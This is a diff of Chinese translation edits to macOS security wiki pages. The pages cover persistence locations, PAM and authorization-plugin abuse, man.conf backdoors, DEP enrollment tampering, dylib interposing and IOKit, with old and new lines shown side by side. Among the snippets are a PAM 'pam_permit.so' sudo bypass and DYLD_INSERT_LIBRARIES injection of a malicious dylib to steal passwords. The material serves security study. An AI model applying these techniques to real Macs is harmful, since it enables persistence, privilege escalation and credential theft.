> 这对我没有用,但这些是写作中的说明:(
> 这对我来说没有用,但这些是写作中的说明:(
### Dock 快捷方式
写作:[https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/)
- 有助于绕过沙盒:[](https://emojipedia.org/check-mark-button)
- 但您需要在系统安装恶意应用程序
- 但您需要在系统安装恶意应用程序
- TCC 绕过:[🔴](https://emojipedia.org/large-red-circle)
#### 位置
@ -913,7 +913,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.gi
#### 描述与利用
**编译一个颜色选择器** 包含你的代码(你可以使用 [**这个作为例子**](https://github.com/viktorstrate/color-picker-plus))并添加一个构造函数(如在 [屏幕保护程序部分](macos-auto-start-locations.md#screen-saver) 中)并将包复制到 `~/Library/ColorPickers`
**编译一个颜色选择器** 包含你的代码(你可以使用 [**这个例子**](https://github.com/viktorstrate/color-picker-plus))并添加一个构造函数(如在 [屏幕保护程序部分](macos-auto-start-locations.md#screen-saver) 中)并将包复制到 `~/Library/ColorPickers`
然后,当颜色选择器被触发时,你的代码也应该被触发。
@ -942,7 +942,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.gi
一个带有 Finder Sync 扩展的应用程序示例 [**可以在这里找到**](https://github.com/D00MFist/InSync)。
应用程序可以具有 `Finder Sync Extensions`。此扩展将嵌入到将要执行的应用程序中。此外,为了使扩展能够执行其代码,它 **必须被签名**,并且必须有有效的 Apple 开发者证书,它必须是 **沙盒化的**(尽管可以添加放宽的例外),并且必须注册为类似于
应用程序可以拥有 `Finder Sync Extensions`。这个扩展将嵌入到将要执行的应用程序中。此外,为了使扩展能够执行其代码,它 **必须被签名**,并且必须有有效的 Apple 开发者证书,它必须是 **沙盒化的**(尽管可以添加放宽的例外),并且必须注册为类似于:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
@ -952,8 +952,8 @@ pluginkit -e use -i com.example.InSync.InSync
Writeup: [https://theevilbit.github.io/beyond/beyond_0016/](https://theevilbit.github.io/beyond/beyond_0016/)\
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
- 有助于绕过沙: [🟠](https://emojipedia.org/large-orange-circle)
- 但你将进入一个常见的应用程序沙
- 有助于绕过沙: [🟠](https://emojipedia.org/large-orange-circle)
- 但你将进入一个常见的应用程序沙
- TCC 绕过: [🔴](https://emojipedia.org/large-red-circle)
#### 位置
@ -971,7 +971,7 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
#### 描述与利用
在 Xcode 中创建一个新项目,并选择模板以生成新的 **Screen Saver**。然后,将你的代码添加到其中,例如以下代码以生成日志。
在 Xcode 中创建一个新项目并选择模板以生成新的 **屏幕保护程序**。然后,将你的代码添加到其中,例如以下代码以生成日志。
**构建**它,并将 `.saver` 包复制到 **`~/Library/Screen Savers`**。然后,打开屏幕保护程序 GUI点击它应该会生成大量日志
```bash
@ -983,7 +983,7 @@ Timestamp (process)[PID]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```
> [!CAUTION]
> 请注意,因为在加载此代码的二进制文件的权限中(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`),您可以找到 **`com.apple.security.app-sandbox`**,您将处于 **常见应用程序沙箱** 内。
> 注意,由于在加载此代码的二进制文件的权限中(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`),您可以找到 **`com.apple.security.app-sandbox`**因此您将处于 **常见应用程序沙箱** 内。
Saver code:
```objectivec
@ -1055,23 +1055,23 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.github.io/beyond/beyond_0011/)
- 有助于绕过沙: [🟠](https://emojipedia.org/large-orange-circle)
- 但你将进入一个应用程序沙盒
- 有助于绕过沙: [🟠](https://emojipedia.org/large-orange-circle)
- 但你将会进入一个应用程序沙箱
- TCC 绕过: [🔴](https://emojipedia.org/large-red-circle)
- 沙看起来非常有限
- 沙看起来非常有限
#### 位置
- `~/Library/Spotlight/`
- **触发**: 创建一个由 Spotlight 插件管理的扩展的新文件。
- **触发**: 创建一个由 Spotlight 插件管理的扩展的新文件。
- `/Library/Spotlight/`
- **触发**: 创建一个由 Spotlight 插件管理的扩展的新文件。
- **触发**: 创建一个由 Spotlight 插件管理的扩展的新文件。
- 需要 root 权限
- `/System/Library/Spotlight/`
- **触发**: 创建一个由 Spotlight 插件管理的扩展的新文件。
- **触发**: 创建一个由 Spotlight 插件管理的扩展的新文件。
- 需要 root 权限
- `Some.app/Contents/Library/Spotlight/`
- **触发**: 创建一个由 Spotlight 插件管理的扩展的新文件。
- **触发**: 创建一个由 Spotlight 插件管理的扩展的新文件。
- 需要新应用
#### 描述与利用
@ -1079,9 +1079,9 @@ writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.g
Spotlight 是 macOS 内置的搜索功能,旨在为用户提供 **快速而全面的数据访问**。\
为了促进这种快速搜索能力Spotlight 维护一个 **专有数据库**,并通过 **解析大多数文件** 创建索引,从而能够快速搜索文件名及其内容。
Spotlight 的基本机制涉及一个名为 'mds' 的中央进程,代表 **'metadata server'**。进程协调整个 Spotlight 服务。与此相辅相成的是多个 'mdworker' 守护进程,它们执行各种维护任务,例如索引不同类型的文件 (`ps -ef | grep mdworker`)。这些任务通过 Spotlight 导入插件或 **".mdimporter bundles"** 实现,使 Spotlight 能够理解和索引各种文件格式的内容。
Spotlight 的基本机制涉及一个名为 'mds' 的中央进程,代表 **'metadata server'**。这个进程协调整个 Spotlight 服务。与此相辅相成的是多个 'mdworker' 守护进程,它们执行各种维护任务,例如索引不同类型的文件 (`ps -ef | grep mdworker`)。这些任务通过 Spotlight 导入插件或 **".mdimporter bundles"** 实现,使 Spotlight 能够理解和索引各种文件格式的内容。
插件或 **`.mdimporter`** 包位于前提到的位置,如果出现新的包,它会在一分钟内加载(无需重启任何服务)。这些包需要指明它们可以管理的 **文件类型和扩展名**,这样,Spotlight 在创建具有指定扩展名的新文件时将使用它们。
插件或 **`.mdimporter`** 包位于前提到的位置,如果出现新的包,它会在几秒钟内加载(无需重启任何服务)。这些包需要指明它们可以管理的 **文件类型和扩展名**,这样,当创建一个具有指定扩展名的新文件时Spotlight 将使用它们。
可以通过运行 **find all the `mdimporters`** 来找到所有已加载的内容:
```bash
@ -1133,7 +1133,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
>
> 此外,系统默认插件总是优先,因此攻击者只能访问未被苹果自己的 `mdimporters` 索引的文件。
要创建你自己的导入器,你可以从这个项目开始:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer),然后更改名称、**`CFBundleDocumentTypes`** 并添加 **`UTImportedTypeDeclarations`**,以便支持你希望支持的扩展,并在 **`schema.xml`** 中反映它们。\
要创建你自己的导入器,你可以从这个项目开始:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer),然后更改名称、**`CFBundleDocumentTypes`** 并添加 **`UTImportedTypeDeclarations`**,以便支持你想要支持的扩展,并在 **`schema.xml`** 中反映它们。\
然后 **更改** 函数 **`GetMetadataForFile`** 的代码,以在创建具有处理扩展名的文件时执行你的有效载荷。
最后 **构建并复制你的新 `.mdimporter`** 到之前的一个位置,你可以通过 **监控日志** 或检查 **`mdimport -L.`** 来查看它是否被加载。
@ -1141,12 +1141,12 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
### ~~偏好设置面板~~
> [!CAUTION]
> 看起来这不再有效。
> 这似乎不再有效。
写作: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/)
- 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle)
- 需要特定用户操作
- 需要特定用户操作
- TCC 绕过: [🔴](https://emojipedia.org/large-red-circle)
#### 位置
@ -1157,7 +1157,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
#### 描述
看起来这不再有效。
似乎不再有效。
## 根沙盒绕过
@ -1224,7 +1224,7 @@ monthly_local="/etc/monthly.local" # Local scripts
如果您成功写入任何文件 `/etc/daily.local``/etc/weekly.local``/etc/monthly.local`,它将会 **迟早被执行**
> [!WARNING]
> 请注意,周期性脚本将以 **脚本所有者身份执行**。因此,如果常规用户拥有该脚本,它将以该用户身份执行(这可能会防止特权升级攻击)。
> 请注意,周期性脚本将以 **脚本所有者身份执行**。因此,如果常规用户拥有该脚本,它将以该用户身份执行(这可能会防止特权升级攻击)。
### PAM
@ -1247,7 +1247,7 @@ monthly_local="/etc/monthly.local" # Local scripts
```bash
ls -l /etc/pam.d
```
一种利用PAM的持久性/特权提升技术就像修改模块 /etc/pam.d/sudo 在开头添加以下行一样简单:
一种利用PAM的持久性/特权提升技术就像修改模块/etc/pam.d/sudo在开头添加以下行一样简单:
```bash
auth sufficient pam_permit.so
```
@ -1295,7 +1295,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
#### 描述与利用
你可以创建一个授权插件,当用户登录时执行以保持持久性。有关如何创建这些插件的更多信息,请查看之前的写作(并且要小心,写得不好的插件可能会锁定你,你需要从恢复模式清理你的 Mac
你可以创建一个授权插件,当用户登录时执行以保持持久性。有关如何创建这些插件的更多信息,请查看之前的写作(并小心,编写不当可能会锁定你,你需要从恢复模式清理你的 Mac
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
@ -1339,27 +1339,27 @@ security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```bash
security authorize com.asdf.asdf
```
然后**staff组应该具有sudo**访问权限(阅读`/etc/sudoers`以确认)。
然后 **staff 组应该具有 sudo** 访问权限(阅读 `/etc/sudoers` 以确认)。
### Man.conf
写作:[https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/)
- 有助于绕过沙箱:[🟠](https://emojipedia.org/large-orange-circle)
- 但你需要是root用户必须使用man
- TCC绕过[🔴](https://emojipedia.org/large-red-circle)
- 但你需要是 root用户必须使用 man
- TCC 绕过:[🔴](https://emojipedia.org/large-red-circle)
#### 位置
- **`/private/etc/man.conf`**
- 需要root权限
- **`/private/etc/man.conf`**每当使用man时
- 需要 root
- **`/private/etc/man.conf`**:每当使用 man
#### 描述与利用
配置文件**`/private/etc/man.conf`**指示在打开man文档文件时使用的二进制文件/脚本。因此可以修改可执行文件的路径以便每当用户使用man阅读文档时都会执行一个后门。
配置文件 **`/private/etc/man.conf`** 指定在打开 man 文档文件时使用的二进制文件/脚本。因此,可以修改可执行文件的路径,以便每当用户使用 man 阅读文档时,都会执行一个后门。
例如在**`/private/etc/man.conf`**中设置
例如设置 **`/private/etc/man.conf`**
```
MANPAGER /tmp/view
```
@ -1376,19 +1376,19 @@ touch /tmp/manconf
**Writeup**: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/)
- 有助于绕过沙箱: [🟠](https://emojipedia.org/large-orange-circle)
- 但你需要是 root 并且 apache 需要在运行
- 但你需要是root并且apache需要在运行
- TCC 绕过: [🔴](https://emojipedia.org/large-red-circle)
- Httpd 没有权限
- Httpd没有权限
#### 位置
- **`/etc/apache2/httpd.conf`**
- 需要 root 权限
- 触发: 当 Apache2 启动时
- 需要root权限
- 触发: 当Apache2启动时
#### 描述与利用
你可以在 `/etc/apache2/httpd.conf` 中指示加载一个模块,添加一行如:
你可以在`/etc/apache2/httpd.conf`中指示加载一个模块,添加一行,例如:
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
@ -1415,7 +1415,7 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.github.io/beyond/beyond_0031/)
- 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle)
- 但你需要是rootauditd必须运行并引发警告
- 但你需要是rootauditd需要运行并引发警告
- TCC绕过: [🔴](https://emojipedia.org/large-red-circle)
#### 位置
@ -1492,9 +1492,9 @@ RunService "$1"
写作: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/)
苹果引入,**emond** 是一种日志记录机制,似乎尚未开发或可能被遗弃,但仍然可以访问。虽然对 Mac 管理员并没有特别的好处,但这个模糊的服务可能作为威胁行为者的微妙持久性方法,可能不会被大多数 macOS 管理员注意到。
Apple 引入,**emond** 是一种日志机制,似乎尚未开发或可能被遗弃,但仍然可以访问。虽然对 Mac 管理员并没有特别的好处,但这个模糊的服务可能作为威胁行为者的微妙持久性方法,可能不会被大多数 macOS 管理员注意到。
对于那些知道其存在的人,识别 **emond** 的任何恶意使用是简单的。该服务的系统 LaunchDaemon 在一个目录中寻找要执行的脚本。要检查这一点,可以使用以下命令
对于那些知道其存在的人,识别 **emond** 的任何恶意使用是简单的。该服务的系统 LaunchDaemon 在一个目录中寻找要执行的脚本。要检查这一点,可以使用以下命令:
```bash
ls -l /private/var/db/emondClients
```
@ -1505,28 +1505,28 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.g
#### 位置
- **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
- 需要root权限
- **触发**: 使用XQuartz
- 需要 root 权限
- **触发**: 使用 XQuartz
#### 描述与利用
XQuartz **不再安装在macOS中**,所以如果你想要更多信息,请查看写作。
XQuartz **不再安装在 macOS 中**,所以如果你想要更多信息,请查看写作。
### ~~kext~~
> [!CAUTION]
> 即使作为root安装kext也非常复杂因此我不会考虑这作为逃避沙或持久性的方法(除非你有一个漏洞)
> 即使作为 root 安装 kext 也非常复杂,因此我不会考虑这作为逃避沙或持久性的方法(除非你有一个漏洞)
#### 位置
为了将KEXT作为启动项安装它需要**安装在以下位置之一**
为了将 KEXT 安装为启动项,它需要被 **安装在以下位置之一**
- `/System/Library/Extensions`
- 内置于OS X操作系统的KEXT文件。
- 内置于 OS X 操作系统的 KEXT 文件。
- `/Library/Extensions`
- 由第三方软件安装的KEXT文件
- 由第三方软件安装的 KEXT 文件
你可以使用以下命令列出当前加载的kext文件
你可以使用以下命令列出当前加载的 kext 文件:
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
@ -1534,7 +1534,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
有关更多信息,请查看[**内核扩展,请查看此部分**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers)。
有关[**内核扩展的更多信息,请查看本节**](macos-security-and-privilege-escalation/mac-os-architecture/index.html#i-o-kit-drivers)。
### ~~amstoold~~
@ -1547,7 +1547,7 @@ kextunload -b com.apple.driver.ExampleBundle
#### 描述与利用
显然,来自`/System/Library/LaunchAgents/com.apple.amstoold.plist``plist`在使用这个二进制文件同时暴露了一个XPC服务……问题是这个二进制文件并不存在因此你可以在这里放置一些东西当XPC服务被调用时你的二进制文件将被调用。
显然,来自`/System/Library/LaunchAgents/com.apple.amstoold.plist``plist`暴露XPC服务时使用这个二进制文件……问题是这个二进制文件并不存在因此你可以在这里放置一些东西当XPC服务被调用时你的二进制文件将被调用。
我在我的macOS中找不到这个。
@ -1563,11 +1563,11 @@ kextunload -b com.apple.driver.ExampleBundle
#### 描述与利用
显然运行这个脚本并不常见我甚至在我的macOS中找不到它因此如果你想要更多信息,请查看写作。
显然运行这个脚本并不常见我甚至在我的macOS中找不到它所以如果你想要更多信息,请查看写作。
### ~~/etc/rc.common~~
> [!CAUTION] > **在现代MacOS版本中不起作用**
> [!CAUTION] > **在现代MacOS版本中不起作用**
在这里也可以放置**将在启动时执行的命令。** 示例是常规的rc.common脚本:
```bash

View File

@ -4,7 +4,7 @@
## 介绍
正如[**之前提到的**](./#what-is-mdm-mobile-device-management)****为了尝试将设备注册到一个组织中**只需要该组织的序列号**。一旦设备注册多个组织将会在新设备上安装敏感数据证书、应用程序、WiFi 密码、VPN 配置[等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
正如[**之前提到的**](#what-is-mdm-mobile-device-management)****为了尝试将设备注册到一个组织中**只需要该组织的序列号**。一旦设备注册多个组织将会在新设备上安装敏感数据证书、应用程序、WiFi 密码、VPN 配置[等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
因此,如果注册过程没有得到正确保护,这可能成为攻击者的危险入口。
**以下是研究的摘要[https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)。请查看以获取更多技术细节!**
@ -21,7 +21,7 @@ DEP 检查利用私有配置文件框架中的 `CPFetchActivationRecord` 和 `CP
## 特斯拉协议和 Absinthe 方案逆向工程
DEP 检查涉及 `cloudconfigurationd`_iprofiles.apple.com/macProfile_ 发送加密的签名 JSON 负载。负载包括设备的序列号和操作 "RequestProfileConfiguration"。所使用的加密方案在内部称为 "Absinthe"。解开这个方案是复杂的,涉及多个步骤,这导致探索替代方法以在激活记录请求中插入任意序列号。
DEP 检查涉及 `cloudconfigurationd`_iprofiles.apple.com/macProfile_ 发送加密的签名 JSON 负载。负载包括设备的序列号和操作 "RequestProfileConfiguration"。所使用的加密方案在内部称为 "Absinthe"。解开这个方案是复杂的,涉及多个步骤,这导致探索插入任意序列号到激活记录请求的替代方法
## 代理 DEP 请求
@ -32,17 +32,17 @@ DEP 检查涉及 `cloudconfigurationd` 向 _iprofiles.apple.com/macProfile_ 发
对系统二进制文件如 `cloudconfigurationd` 进行插桩需要在 macOS 上禁用系统完整性保护SIP。禁用 SIP 后,可以使用 LLDB 等工具附加到系统进程,并可能修改在 DEP API 交互中使用的序列号。这种方法更可取,因为它避免了权限和代码签名的复杂性。
**利用二进制插桩:**
`cloudconfigurationd` 中 JSON 序列化之前修改 DEP 请求负载被证明是有效的。该过程包括
`cloudconfigurationd` 中 JSON 序列化之前修改 DEP 请求负载被证明是有效的。该过程涉及
1. 将 LLDB 附加到 `cloudconfigurationd`
2. 找到获取系统序列号的点。
3. 在负载加密并发送之前将任意序列号注入内存中。
3. 在负载加密并发送之前将任意序列号注入内存中。
这种方法允许检索任意序列号的完整 DEP 配置文件,展示了潜在的漏洞。
### 使用 Python 自动化插桩
利用 Python 和 LLDB API 自动化了利用过程,使得可以以编程方式注入任意序列号并检索相应的 DEP 配置文件。
利用 LLDB API,使用 Python 自动化了利用过程,使得可以以编程方式注入任意序列号并检索相应的 DEP 配置文件。
### DEP 和 MDM 漏洞的潜在影响

View File

@ -6,7 +6,7 @@
如果您对 macOS 不熟悉,您应该开始学习 macOS 的基础知识:
- 特殊的 macOS **文件权限:**
- 特殊的 macOS **文件权限:**
{{#ref}}
macos-files-folders-and-binaries/
@ -24,20 +24,20 @@ macos-users.md
macos-applefs.md
{{#endref}}
- **内核**的 **架构**
- k**ernel** 的 **架构**
{{#ref}}
mac-os-architecture/
{{#endref}}
- 常见的 macOS n**etwork 服务和协议**
- 常见的 macOS n**etwork services & protocols**
{{#ref}}
macos-protocols.md
{{#endref}}
- **开源** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- 要下载 `tar.gz`将 URL 更改为 [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) 到 [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
- 要下载 `tar.gz`,将 URL 更改为 [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) 到 [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MacOS MDM
@ -66,7 +66,7 @@ macos-security-protections/
如果 **以 root 身份运行的进程写入** 一个可以被用户控制的文件,用户可能会利用此文件来 **提升权限**。\
这可能发生在以下情况下:
- 使用的文件已经由用户创建(由用户拥有
- 使用的文件已由用户创建(属于用户
- 使用的文件因组而可被用户写入
- 使用的文件位于用户拥有的目录中(用户可以创建该文件)
- 使用的文件位于 root 拥有的目录中,但用户因组而具有写入权限(用户可以创建该文件)
@ -79,7 +79,7 @@ macos-security-protections/
macos-files-folders-and-binaries/macos-installers-abuse.md
{{#endref}}
### 文件扩展名和 URL 方案应用程序处理程序
### 文件扩展名与 URL 方案应用处理程序
通过文件扩展名注册的奇怪应用程序可能会被滥用,不同的应用程序可以注册以打开特定协议
@ -93,13 +93,13 @@ macos-file-extension-apps.md
因此,想要成功攻陷 macOS 机器的攻击者需要 **提升其 TCC 权限**(甚至 **绕过 SIP**,具体取决于其需求)。
这些权限通常以 **应用程序签名的授权** 形式授予,或者应用程序可能请求某些访问权限,在 **用户批准后**,它们可以在 **TCC 数据库** 中找到。进程获取这些权限的另一种方式是成为具有这些 **权限** 的进程的 **子进程**,因为它们通常是 **继承的**
这些权限通常以 **授权** 形式授予,应用程序是用此签名的,或者应用程序可能请求某些访问权限,在 **用户批准后**,它们可以在 **TCC 数据库** 中找到。进程获取这些权限的另一种方式是成为具有这些 **权限** 的进程的 **子进程**,因为它们通常是 **继承的**
请访问这些链接以找到不同的方式 [**在 TCC 中提升权限**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses),以 [**绕过 TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) 和过去 [**如何绕过 SIP**](macos-security-protections/macos-sip.md#sip-bypasses)。
请访问这些链接以找到不同的方式 [**提升 TCC 中的权限**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses),以 [**绕过 TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) 和过去 [**如何绕过 SIP**](macos-security-protections/macos-sip.md#sip-bypasses)。
## macOS 传统权限提升
当然,从红队的角度来看,您也应该对提升到 root 感兴趣。查看以下帖子以获取一些提示:
当然,从红队的角度来看,您也应该对提升到 root 感兴趣。查看以下帖子以获取一些提示:
{{#ref}}
macos-privilege-escalation.md

View File

@ -4,9 +4,9 @@
## Function Interposing
创建一个 **dylib**,其中包含一个 **`__interpose`** 部分(或一个标记为 **`S_INTERPOSING`** 的部分),该部分包含指向 **原始****替代** 函数的 **函数指针** 元组。
创建一个带有 **`__interpose`** 部分(或标记为 **`S_INTERPOSING`** 的部分)的 **dylib**,其中包含指向 **原始****替代** 函数的 **函数指针** 元组。
然后,使用 **`DYLD_INSERT_LIBRARIES`** 注入 dylib插入需要在主应用程序加载之前发生。显然适用于 **`DYLD_INSERT_LIBRARIES`** 使用的 [**限制** 在这里也适用](../macos-proces-abuse/macos-library-injection/#check-restrictions)。&#x20;
然后,使用 **`DYLD_INSERT_LIBRARIES`** 注入 dylib插入需要在主应用程序加载之前发生。显然适用于 **`DYLD_INSERT_LIBRARIES`** 使用的 [**限制** 在这里也适用](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions)。&#x20;
### Interpose printf
@ -81,11 +81,11 @@ Hello from interpose
在 ObjectiveC 中,方法调用的方式是:**`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
需要 **对象**、**方法**和 **参数**。当调用一个方法时,会使用函数 **`objc_msgSend`** 发送 **msg**`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
需要 **对象**、**方法**和 **参数**。当调用一个方法时,会使用函数 **`objc_msgSend`** 发送 **消息**`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
对象是 **`someObject`**,方法是 **`@selector(method1p1:p2:)`**,参数是 **value1****value2**。
根据对象结构,可以访问一个 **方法数组**,其中 **名称****指向方法代码的指针** 被 **存放**
根据对象结构,可以访问一个 **方法数组**,其中 **名称****方法代码的指针** 被 **存放**
> [!CAUTION]
> 请注意,由于方法和类是基于其名称访问的,因此这些信息存储在二进制文件中,因此可以使用 `otool -ov </path/bin>` 或 [`class-dump </path/bin>`](https://github.com/nygard/class-dump) 来检索。
@ -214,7 +214,7 @@ return 0;
### 使用 method_setImplementation 进行方法交换
之前的格式很奇怪,因为你正在将两个方法的实现互换。使用函数 **`method_setImplementation`**,你可以**更改**一个**方法****实现**为另一个**方法**的实现
之前的格式很奇怪,因为你在相互之间更改两个方法的实现。使用函数**`method_setImplementation`**,你可以**更改**一个**方法的实现为另一个**。
只需记住,如果你打算在覆盖之前从新实现中调用原始实现,请**存储原始实现的地址**,因为稍后定位该地址会更加复杂。
```objectivec
@ -272,13 +272,13 @@ return 0;
在本页中讨论了不同的函数钩取方法。然而,它们涉及到**在进程内部运行代码进行攻击**。
为了做到这一点,最简单的技术是通过环境变量或劫持注入一个[Dyld](../macos-dyld-hijacking-and-dyld_insert_libraries.md)。不过,我想这也可以通过[Dylib 进程注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)来完成。
为了做到这一点,最简单的技术是通过环境变量或劫持注入一个[Dyld](../macos-dyld-hijacking-and-dyld_insert_libraries.md)。然而,我想这也可以通过[Dylib进程注入](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port)来完成。
然而,这两种选项都**限制**于**未保护**的二进制文件/进程。检查每种技术以了解更多关于限制的信息。
然而,函数钩取攻击是非常具体的,攻击者这样做是为了**从进程内部窃取敏感信息**(否则你只会进行进程注入攻击)。而这些敏感信息可能位于用户下载的应用程序中,例如 MacPass。
然而,函数钩取攻击是非常具体的,攻击者这样做是为了**从进程内部窃取敏感信息**否则你只会进行进程注入攻击。而这些敏感信息可能位于用户下载的应用程序中例如MacPass。
因此,攻击者的途径是找到一个漏洞或去掉应用程序的签名,通过应用程序的 Info.plist 注入**`DYLD_INSERT_LIBRARIES`** 环境变量,添加类似于:
因此攻击者的途径是找到一个漏洞或去掉应用程序的签名通过应用程序的Info.plist注入**`DYLD_INSERT_LIBRARIES`**环境变量,添加类似于:
```xml
<key>LSEnvironment</key>
<dict>
@ -286,14 +286,14 @@ return 0;
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
然后**重新注册**应用程序:
然后**重新注册**应用程序:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
在该库中添加钩子代码以提取信息:密码、消息...
> [!CAUTION]
> 请注意,在较新版本的 macOS 中,如果您 **去除应用程序二进制文件的签名** 并且它之前已被执行macOS **将不再执行该应用程序**
> 请注意,在较新版本的 macOS 中,如果您 **去除应用程序二进制文件的签名**并且它之前已被执行macOS **将不再执行该应用程序**
#### 库示例
```objectivec

View File

@ -6,11 +6,11 @@
I/O Kit 是一个开源的面向对象的 **设备驱动框架**,位于 XNU 内核中,处理 **动态加载的设备驱动程序**。它允许在运行时将模块化代码添加到内核中,支持多种硬件。
IOKit 驱动程序基本上会 **从内核导出函数**。这些函数参数 **类型****预定义** 并经过验证。此外,类似于 XPCIOKit 只是 **Mach 消息** 之上的另一层。
IOKit 驱动程序基本上会 **从内核导出函数**。这些函数参数 **类型****预定义** 并经过验证。此外,类似于 XPCIOKit 只是 **Mach 消息** 之上的另一层。
**IOKit XNU 内核代码** 由 Apple 在 [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit) 开源。此外,用户空间的 IOKit 组件也开源 [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)。
然而,**没有 IOKit 驱动程序** 是开源的。无论如何,驱动程序的发布有时可能会附带符号,使其更易调试。查看如何 [**从固件获取驱动程序扩展这里**](./#ipsw)**。**
然而,**没有 IOKit 驱动程序** 是开源的。无论如何,驱动程序的发布有时可能会附带符号,使其更易调试。查看如何 [**从固件获取驱动程序扩展这里**](#ipsw)**。**
它是用 **C++** 编写的。您可以使用以下命令获取去除修饰的 C++ 符号:
```bash
@ -23,7 +23,7 @@ __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaq
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
> [!CAUTION]
> IOKit **暴露的函数** 在客户端尝试调用函数时可能会执行 **额外的安全检查**,但请注意,应用程序通常受到 **沙箱****限制**,只能与特定的 IOKit 函数进行交互。
> IOKit **暴露的函数** 可能在客户端尝试调用函数时执行 **额外的安全检查**,但请注意,应用程序通常受到 **沙箱****限制**,只能与特定的 IOKit 函数进行交互。
## 驱动程序
@ -54,7 +54,7 @@ Index Refs Address Size Wired Name (Version) UUID <Linked
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
```
直到数字9列出的驱动程序**加载在地址0**。这意味着这些不是实际的驱动程序,而是**内核的一部分,无法卸载**。
直到第9个列出的驱动程序是**加载在地址0**。这意味着这些不是实际的驱动程序,而是**内核的一部分,无法卸载**。
为了找到特定的扩展,您可以使用:
```bash
@ -82,7 +82,7 @@ ioreg -p <plane> #Check other plane
